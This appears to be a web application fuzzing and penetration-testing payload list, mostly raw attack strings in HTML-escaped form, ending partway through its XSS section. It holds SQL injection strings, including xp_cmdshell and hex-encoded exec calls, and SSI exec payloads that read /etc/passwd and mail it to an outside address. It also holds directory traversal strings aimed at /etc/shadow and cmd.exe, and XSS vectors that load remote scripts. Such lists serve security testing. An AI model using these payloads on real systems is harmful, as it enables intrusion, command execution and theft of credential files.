.t08<br /> .t09<br /> .t2<br /> .tax2009<br /> .tdl<br /> .tdt<br /> .te<br /> .teacher<br /> .tmw<br /> .tol<br /> .trk<br /> .trs<br /> .trx<br /> .tsv<br /> .uccapilog<br /> .ud<br /> .udeb<br /> .uds<br /> .update<br /> .uwl<br /> .val<br /> .vcf<br /> .vdb<br /> .vfs<br /> .vip<br /> .vle<br /> .vlg<br /> .vxml<br /> .w02<br /> .wab<br /> .wb1<br /> .wb3<br /> .wdq<br /> .wfd<br /> .wfm<br /> .windowslivecontact<br /> .wk1<br /> .wk2<br /> .wk3<br /> .wk4<br /> .wk5<br /> .wke<br /> .wks<br /> .wlmp<br /> .wpc<br /> .wpo<br /> .wq1<br /> .wq2<br /> .wtr<br /> .xbk<br /> .xdb<br /> .xds<br /> .xfd<br /> .xl<br /> .xlgc<br /> .xlr<br /> .xls<br /> .xlsx<br /> .xltm<br /> .xltx<br /> .xml<br /> .xmpz<br /> .xsl<br /> .xsn<br /> .xtm<br /> .xtp<br /> .xxd<br /> .{pb<br /> .~hm<br /> &lt;/pre&gt;<br /> <br /> === Cold Fusion Default Files - (Update: 16 March 2009 - Total Statements: 65) ===<br /> &lt;pre&gt;<br /> CFIDE/Administrator/<br /> CFIDE/Administrator/index.cfm<br /> CFIDE/Administrator/login.cfm<br /> CFIDE/Administrator/Application.cfm<br /> CFIDE/Application.cfm<br /> CFIDE/adminapi/<br /> CFIDE/adminapi/Application.cfm<br /> CFIDE/adminapi/administrator.cfc<br /> CFIDE/adminapi/base.cfc<br /> CFIDE/adminapi/customtags/<br /> CFIDE/adminapi/customtags/l10n.cfm<br /> CFIDE/adminapi/customtags/resources<br /> CFIDE/adminapi/customtags/resources/<br /> CFIDE/adminapi/datasource.cfc<br /> CFIDE/adminapi/debugging.cfc<br /> CFIDE/adminapi/eventgateway.cfc<br /> CFIDE/adminapi/extensions.cfc<br /> CFIDE/adminapi/mail.cfc<br /> CFIDE/adminapi/runtime.cfc<br /> CFIDE/adminapi/security.cfc<br /> CFIDE/adminapi/_datasource/<br /> CFIDE/adminapi/_datasource/formatjdbcurl.cfm<br /> CFIDE/adminapi/_datasource/getaccessdefaultsfromregistry.cfm<br /> CFIDE/adminapi/_datasource/geturldefaults.cfm<br /> CFIDE/adminapi/_datasource/setdsn.cfm<br /> CFIDE/adminapi/_datasource/setmsaccessregistry.cfm<br /> CFIDE/adminapi/_datasource/setsldatasource.cfm<br /> CFIDE/classes/<br /> CFIDE/classes/cf-j2re-win.cab<br /> CFIDE/classes/cfapplets.jar<br /> CFIDE/classes/images<br /> CFIDE/componentutils/<br /> CFIDE/componentutils/Application.cfm<br /> CFIDE/componentutils/cfcexplorer.cfc<br /> CFIDE/componentutils/cfcexplorer_utils.cfm<br /> CFIDE/componentutils/componentdetail.cfm<br /> CFIDE/componentutils/componentdoc.cfm<br /> CFIDE/componentutils/componentlist.cfm<br /> CFIDE/componentutils/gatewaymenu<br /> CFIDE/componentutils/gatewaymenu/<br /> CFIDE/componentutils/gatewaymenu/menu.cfc<br /> CFIDE/componentutils/gatewaymenu/menunode.cfc<br /> CFIDE/componentutils/login.cfm<br /> CFIDE/componentutils/packagelist.cfm<br /> CFIDE/componentutils/utils.cfc<br /> CFIDE/componentutils/_component_cfcToHTML.cfm<br /> CFIDE/componentutils/_component_cfcToMCDL.cfm?<br /> CFIDE/componentutils/_component_style.cfm<br /> CFIDE/componentutils/_component_utils.cfm<br /> CFIDE/debug/<br /> CFIDE/debug/images/<br /> CFIDE/debug/includes/<br /> CFIDE/images/<br /> CFIDE/images/skins/<br /> CFIDE/install.cfm<br /> CFIDE/installers/<br /> CFIDE/installers/CFMX7DreamWeaverExtensions.mxp<br /> CFIDE/installers/CFReportBuilderInstaller.exe<br /> CFIDE/probe.cfm<br /> CFIDE/scripts/<br /> CFIDE/scripts/css/<br /> CFIDE/scripts/xsl/<br /> CFIDE/wizards/<br /> CFIDE/wizards/common/<br /> CFIDE/wizards/common/utils.cfc&lt;/pre&gt;<br /> <br /> <br /> === All HTTP Verbs Defined in RFC's + 1 ARBITRARY Verb - (Update: 16 March 2009 - Total Statements: 31) ===<br /> &lt;pre&gt;OPTIONS<br /> GET<br /> HEAD<br /> POST<br /> PUT<br /> DELETE<br /> TRACE<br /> CONNECT<br /> PROPFIND<br /> PROPPATCH<br /> MKCOL<br /> COPY<br /> MOVE<br /> LOCK<br /> UNLOCK<br /> VERSION-CONTROL<br /> REPORT<br /> CHECKOUT<br /> CHECKIN<br /> UNCHECKOUT<br /> MKWORKSPACE<br /> UPDATE<br /> LABEL<br /> MERGE<br /> BASELINE-CONTROL<br /> MKACTIVITY<br /> ORDERPATCH<br /> ACL<br /> PATCH<br /> SEARCH<br /> ARBITRARY<br /> &lt;/pre&gt;<br /> <br /> === Lotus/Notes Files -(Update: 02 February 2010 - Total Statements: 111) ===<br /> &lt;pre&gt;/852566C90012664F<br /> /admin4.nsf<br /> /admin5.nsf<br /> /admin.nsf<br /> /agentrunner.nsf<br /> /alog.nsf<br /> /a_domlog.nsf<br /> /bookmark.nsf<br /> /busytime.nsf<br /> /catalog.nsf<br /> /certa.nsf<br /> /certlog.nsf<br /> /certsrv.nsf<br /> /chatlog.nsf<br /> /clbusy.nsf<br /> /cldbdir.nsf<br /> /clusta4.nsf<br /> /collect4.nsf<br /> /da.nsf<br /> /dba4.nsf<br /> /dclf.nsf<br /> /DEASAppDesign.nsf<br /> /DEASLog01.nsf<br /> /DEASLog02.nsf<br /> /DEASLog03.nsf<br /> /DEASLog04.nsf<br /> /DEASLog05.nsf<br /> /DEASLog.nsf<br /> /decsadm.nsf<br /> /decslog.nsf<br /> /DEESAdmin.nsf<br /> /dirassist.nsf<br /> /doladmin.nsf<br /> /domadmin.nsf<br /> /domcfg.nsf<br /> /domguide.nsf<br /> /domlog.nsf<br /> /dspug.nsf<br /> /events4.nsf<br /> /events5.nsf<br /> /events.nsf<br /> /event.nsf<br /> /homepage.nsf<br /> /iNotes/Forms5.nsf/$DefaultNav<br /> /jotter.nsf<br /> /leiadm.nsf<br /> /leilog.nsf<br /> /leivlt.nsf<br /> /log4a.nsf<br /> /log.nsf<br /> /l_domlog.nsf<br /> /mab.nsf<br /> /mail10.box<br /> /mail1.box<br /> /mail2.box<br /> /mail3.box<br /> /mail4.box<br /> /mail5.box<br /> /mail6.box<br /> /mail7.box<br /> /mail8.box<br /> /mail9.box<br /> /mail.box<br /> /msdwda.nsf<br /> /mtatbls.nsf<br /> /mtstore.nsf<br /> /names.nsf<br /> /nntppost.nsf<br /> /nntp/nd000001.nsf<br /> /nntp/nd000002.nsf<br /> /nntp/nd000003.nsf<br /> /ntsync45.nsf<br /> /perweb.nsf<br /> /qpadmin.nsf<br /> /quickplace/quickplace/main.nsf<br /> /reports.nsf<br /> /sample/siregw46.nsf<br /> /schema50.nsf<br /> /setupweb.nsf<br /> /setup.nsf<br /> /smbcfg.nsf<br /> /smconf.nsf<br /> /smency.nsf<br /> /smhelp.nsf<br /> /smmsg.nsf<br /> /smquar.nsf<br /> /smsolar.nsf<br /> /smtime.nsf<br /> /smtpibwq.nsf<br /> /smtpobwq.nsf<br /> /smtp.box<br /> /smtp.nsf<br /> /smvlog.nsf<br /> /srvnam.htm<br /> /statmail.nsf<br /> /statrep.nsf<br /> /stauths.nsf<br /> /stautht.nsf<br /> /stconfig.nsf<br /> /stconf.nsf<br /> /stdnaset.nsf<br /> /stdomino.nsf<br /> /stlog.nsf<br /> /streg.nsf<br /> /stsrc.nsf<br /> /userreg.nsf<br /> /vpuserinfo.nsf<br /> /webadmin.nsf<br /> /web.nsf<br /> /.nsf/../winnt/win.ini<br /> /?Open <br /> &lt;/pre&gt;<br /> <br /> === SQL Injection -(Update: 11 August 2009 - Total Statements: 126) ===<br /> &lt;pre&gt;Statement<br /> 'sqlvuln<br /> '+sqlvuln<br /> sqlvuln;<br /> (sqlvuln)<br /> a' or 1=1--<br /> &quot;a&quot;&quot; or 1=1--&quot;<br /> or a = a<br /> a' or 'a' = 'a<br /> 1 or 1=1<br /> a' waitfor delay '0:0:10'--<br /> 1 waitfor delay '0:0:10'--<br /> declare @q nvarchar (4000) select @q =<br /> 0x770061006900740066006F0072002000640065006C00610079002000270030003A0030003A<br /> 0<br /> 031003000270000<br /> declare @s varchar(22) select @s =<br /> 0x77616974666F722064656C61792027303A303A31302700 exec(@s)<br /> 0x730065006c00650063007400200040004000760065007200730069006f006e00 exec(@q)<br /> declare @s varchar (8000) select @s = 0x73656c65637420404076657273696f6e<br /> exec(@s)<br /> a'<br /> ?<br /> ' or 1=1<br /> ‘ or 1=1 --<br /> x' AND userid IS NULL; --<br /> x' AND email IS NULL; --<br /> anything' OR 'x'='x<br /> x' AND 1=(SELECT COUNT(*) FROM tabname); --<br /> x' AND members.email IS NULL; --<br /> x' OR full_name LIKE '%Bob%<br /> 23 OR 1=1<br /> '; exec master..xp_cmdshell 'ping 172.10.1.255'--<br /> '<br /> '%20or%20''='<br /> '%20or%20'x'='x<br /> %20or%20x=x<br /> ')%20or%20('x'='x<br /> 0 or 1=1<br /> ' or 0=0 --<br /> &quot; or 0=0 --<br /> or 0=0 --<br /> ' or 0=0 #<br /> or 0=0 #&quot;<br /> or 0=0 #<br /> ' or 1=1--<br /> &quot; or 1=1--<br /> ' or '1'='1'--<br /> ' or 1 --'<br /> or 1=1--<br /> or%201=1<br /> or%201=1 --<br /> ' or 1=1 or ''='<br /> or 1=1 or &quot;&quot;=<br /> ' or a=a--<br /> or a=a<br /> ') or ('a'='a<br /> ) or (a=a<br /> hi or a=a<br /> hi or 1=1 --&quot;<br /> hi' or 1=1 --<br /> hi' or 'a'='a<br /> hi') or ('a'='a<br /> &quot;hi&quot;&quot;) or (&quot;&quot;a&quot;&quot;=&quot;&quot;a&quot;<br /> 'hi' or 'x'='x';<br /> @variable<br /> ,@variable<br /> PRINT<br /> PRINT @@variable<br /> select<br /> insert<br /> as<br /> or<br /> procedure<br /> limit<br /> order by<br /> asc<br /> desc<br /> delete<br /> update<br /> distinct<br /> having<br /> truncate<br /> replace<br /> like<br /> handler<br /> bfilename<br /> ' or username like '%<br /> ' or uname like '%<br /> ' or userid like '%<br /> ' or uid like '%<br /> ' or user like '%<br /> exec xp<br /> exec sp<br /> '; exec master..xp_cmdshell<br /> '; exec xp_regread<br /> t'exec master..xp_cmdshell 'nslookup www.google.com'--<br /> --sp_password<br /> \x27UNION SELECT<br /> ' UNION SELECT<br /> ' UNION ALL SELECT<br /> ' or (EXISTS)<br /> ' (select top 1<br /> '||UTL_HTTP.REQUEST<br /> 1;SELECT%20*<br /> to_timestamp_tz<br /> tz_offset<br /> &amp;lt;&amp;gt;&quot;'%;)(&amp;amp;+<br /> '%20or%201=1<br /> %27%20or%201=1<br /> %20$(sleep%2050)<br /> %20'sleep%2050'<br /> char%4039%41%2b%40SELECT<br /> &amp;amp;apos;%20OR<br /> 'sqlattempt1<br /> (sqlattempt2)<br /> |<br /> %7C<br /> *|<br /> %2A%7C<br /> *(|(mail=*))<br /> %2A%28%7C%28mail%3D%2A%29%29<br /> *(|(objectclass=*))<br /> %2A%28%7C%28objectclass%3D%2A%29%29<br /> (<br /> %28<br /> )<br /> %29<br /> &amp;amp;<br /> %26<br /> !<br /> %21<br /> ' or 1=1 or ''='<br /> ' or ''='<br /> x' or 1=1 or 'x'='y<br /> /<br /> //<br /> //*<br /> */*<br /> a' or 3=3--<br /> &quot;a&quot;&quot; or 3=3--&quot;<br /> ' or 3=3<br /> ‘ or 3=3 --<br /> &lt;/pre&gt; <br /> === SSI (Server Side Includes) - (Update: xx/xx/xx - Total Statements: 4) ===<br /> &lt;pre&gt;&amp;lt;!--#exec cmd=&quot;/bin/ls /&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;find / -name *.* -print&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &amp;lt;!--#exec cmd=&quot;mail Foobar@email.de &amp;lt;mailto:Foobar@email.de&amp;gt; &amp;lt; cat /etc/passwd&quot; --&amp;gt;&amp;lt;br/&amp;gt;<br /> &lt;/pre&gt; <br /> === Directory Traversal - (Update: 11 August 2009 - Total Statements: 132) ===<br /> &lt;pre&gt;Statement<br /> \..\WINDOWS\win.ini<br /> \..\..\WINDOWS\win.ini<br /> \..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\WINDOWS\win.ini<br /> \..\..\..\..\..\..\WINDOWS\win.ini<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%2e%2e%5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %5c%57%49%4e%44%4f%57%53%5c%77%69%6e%2e%69%6e%69<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> %%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%32%65%%32%65%%35%63%%35%37%%34%39%%34%65%%34%34%%34%66%%35%37%%35%33%%35%63%%37%37%%36%39%%36%65%%32%65%%36%39%%36%65%%36%39<br /> ..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> ..%5c..%5c..%5c..%5c..%5c..%5c..%5c..%5c../winnt/system32/cmd.exe?/c+dir+c:\<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> %2e%2e%2f%77%69%6e%6e%74%2f%73%79%73%74%65%6d%33%32%2f%63%6d%64%2e%65%78%65%3f%2f%63%2b%64%69%72%2b%63%3a%5c<br /> ../../../../../../../../../etc/passwd<br /> ../../../../../../../../etc/passwd<br /> ../../../../../../../etc/passwd<br /> ../../../../../../etc/passwd<br /> ../../../../../etc/passwd<br /> ../../../../etc/passwd<br /> ../../../etc/passwd<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %2e%2e%2f%2e%2e%2f%65%74%63%2f%70%61%73%73%77%64<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%36%35%%37%34%%36%33%%32%66%%37%30%%36%31%%37%33%%37%33%%37%37%%36%34<br /> ../../../.htaccess<br /> ../../.htaccess<br /> ../.htaccess<br /> .htaccess<br /> ././.htaccess<br /> %2e%2e%2f%2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %2e%68%74%61%63%63%65%73%73<br /> %2e%2f%2e%2f%2e%68%74%61%63%63%65%73%73<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> %%32%65%%32%66%%32%65%%32%66%%32%65%%36%38%%37%34%%36%31%%36%33%%36%33%%36%35%%37%33%%37%33<br /> ../../../../../../../../../../../../etc/hosts%00<br /> ../../../../../../../../../../../../etc/hosts<br /> ../../boot.ini<br /> /../../../../../../../../%2A<br /> ../../../../../../../../../../../../etc/passwd%00<br /> ../../../../../../../../../../../../etc/passwd<br /> ../../../../../../../../../../../../etc/shadow%00<br /> ../../../../../../../../../../../../etc/shadow<br /> /../../../../../../../../../../etc/passwd^^<br /> /../../../../../../../../../../etc/shadow^^<br /> /../../../../../../../../../../etc/passwd<br /> /../../../../../../../../../../etc/shadow<br /> /./././././././././././etc/passwd<br /> /./././././././././././etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow<br /> /..\../..\../..\../..\../..\../..\../etc/passwd<br /> /..\../..\../..\../..\../..\../..\../etc/shadow<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/passwd<br /> .\\./.\\./.\\./.\\./.\\./.\\./etc/shadow<br /> \..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> \..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\passwd%00<br /> ..\..\..\..\..\..\..\..\..\..\etc\shadow%00<br /> %0a/bin/cat%20/etc/passwd<br /> %0a/bin/cat%20/etc/shadow<br /> %00/etc/passwd%00<br /> %00/etc/shadow%00<br /> %00../../../../../../etc/passwd<br /> %00../../../../../../etc/shadow<br /> /../../../../../../../../../../../etc/passwd%00.jpg<br /> /../../../../../../../../../../../etc/passwd%00.html<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/passwd<br /> /..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../etc/shadow<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/shadow<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%00<br /> %25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%<br /> /%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..%25%5c..winnt/desktop.ini<br /> \\&amp;amp;apos;/bin/cat%20/etc/passwd\\&amp;amp;apos;<br /> \\&amp;amp;apos;/bin/cat%20/etc/shadow\\&amp;amp;apos;<br /> ../../../../../../../../conf/server.xml<br /> /../../../../../../../../bin/id|<br /> C:/inetpub/wwwroot/global.asa<br /> C:\inetpub\wwwroot\global.asa<br /> C:/boot.ini<br /> C:\boot.ini<br /> ../../../../../../../../../../../../localstart.asp%00<br /> ../../../../../../../../../../../../localstart.asp<br /> ../../../../../../../../../../../../boot.ini%00<br /> ../../../../../../../../../../../../boot.ini<br /> /./././././././././././boot.ini<br /> /../../../../../../../../../../../boot.ini%00<br /> /../../../../../../../../../../../boot.ini<br /> /..\../..\../..\../..\../..\../..\../boot.ini<br /> /.\\./.\\./.\\./.\\./.\\./.\\./boot.ini<br /> \..\..\..\..\..\..\..\..\..\..\boot.ini<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini%00<br /> ..\..\..\..\..\..\..\..\..\..\boot.ini<br /> /../../../../../../../../../../../boot.ini%00.html<br /> /../../../../../../../../../../../boot.ini%00.jpg<br /> /.../.../.../.../.../<br /> ..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../..%c0%af../boot.ini<br /> /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/boot.ini<br /> &lt;/pre&gt; <br /> ''Sorry for breaking the layout - but &quot;breaking the layout&quot; could become &quot;breaking the software&quot;.'' <br /> <br /> === XSS Statements - Most effective/most common statements ===<br /> <br /> Testing Statements <br /> &lt;pre&gt;';alert(String.fromCharCode(88,83,83))//\';alert(String.fromCharCode(88,83,83))//&quot;;alert(String.fromCharCode(88,83,83))//\&quot;;alert(String.fromCharCode(88,83,83))//--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;&amp;gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt; <br /> '';!--&quot;&amp;lt;XSS&amp;gt;=&amp;amp;{()}<br /> &lt;/pre&gt; <br /> Common exploit code (covers a lot of XSS vulnerabilities) <br /> &lt;pre&gt;'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt='<br /> &quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=&quot;<br /> \'&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83))&amp;lt;/SCRIPT&amp;gt;&amp;lt;img src=&quot;&quot; alt=\'<br /> '); alert('xss'); var x='<br /> \\'); alert(\'xss\');var x=\'<br /> //--&amp;gt;&amp;lt;/SCRIPT&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(String.fromCharCode(88,83,83));<br /> &lt;/pre&gt; <br /> === XSS Statements (Full List) - (Update: 11 August 2009 - Total Statements: 162) <br /> &lt;pre&gt;Statements<br /> &amp;lt;SCRIPT SRC=http://ha.ckers.org/xss.js&amp;gt;&amp;lt;/SCRIPT&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=JaVaScRiPt:alert('XSS')&amp;gt;<br /> &quot;&amp;lt;IMG SRC=javascript:alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> &quot;&amp;lt;IMG SRC=`javascript:alert(&quot;&quot;RSnake says, 'XSS'&quot;&quot;)`&amp;gt;&quot;<br /> &quot;&amp;lt;IMG &quot;&quot;&quot;&quot;&quot;&quot;&amp;gt;&amp;lt;SCRIPT&amp;gt;alert(&quot;&quot;XSS&quot;&quot;)&amp;lt;/SCRIPT&amp;gt;&quot;&quot;&amp;gt;&quot;<br /> &amp;lt;IMG SRC=javascript:alert(String.fromCharCode(88,83,83))&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#0000106&amp;amp;#0000097&amp;amp;#0000118&amp;amp;#0000097&amp;amp;#0000115&amp;amp;#0000099&amp;amp;#0000114&amp;amp;#0000105&amp;amp;#0000112&amp;amp;#0000116&amp;amp;#0000058&amp;amp;#0000097&amp;amp;#0000108&amp;amp;#0000101&amp;amp;#0000114&amp;amp;#0000116&amp;amp;#0000040&amp;amp;#0000039&amp;amp;#0000088&amp;amp;#0000083&amp;amp;#0000083&amp;amp;#0000039&amp;amp;#0000041&amp;gt;<br /> &amp;lt;IMG SRC=&amp;amp;#x6A&amp;amp;#x61&amp;amp;#x76&amp;amp;#x61&amp;amp;#x73&amp;amp;#x63&amp;amp;#x72&amp;amp;#x69&amp;amp;#x70&amp;amp;#x74&amp;amp;#x3A&amp;amp;#x61&amp;amp;#x6C&amp;amp;#x65&amp;amp;#x72&amp;amp;#x74&amp;amp;#x28&amp;amp;#x27&amp;amp;#x58&amp;amp;#x53&amp;amp;#x53&amp;amp;#x27&amp;amp;#x29&amp;gt;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot;jav&quot;<br /> &quot;ascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;IMG SRC=java\0script:alert(\&quot;&quot;XSS\&quot;&quot;)&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;perl -e 'print &quot;&quot;&amp;lt;SCR\0IPT&amp;gt;alert(\&quot;&quot;XSS\&quot;&quot;)&amp;lt;/SCR\0IPT&amp;gt;&quot;&quot;;' &amp;gt; out&quot;<br /> &quot;&amp;lt;IMG SRC=&quot;&quot; &amp;amp;#14; javascript:alert('XSS');&quot;&quot;&amp;gt;&quot;<br /> &quot;&amp;lt;SCRIPT/XSS SRC=&quot;&quot;http://ha.ckers.org/xss.js&quot;&quot;&amp;gt;&amp;lt;/SCRIPT&amp;gt;&quot;<br /> &quot;&amp;lt;BODY onload!#$%&amp;amp;()*~+-_.,:;?@[/|\]^`=alert(&quot;&quot;XSS&quot;&quot;)&amp;gt;&quot;<br /> 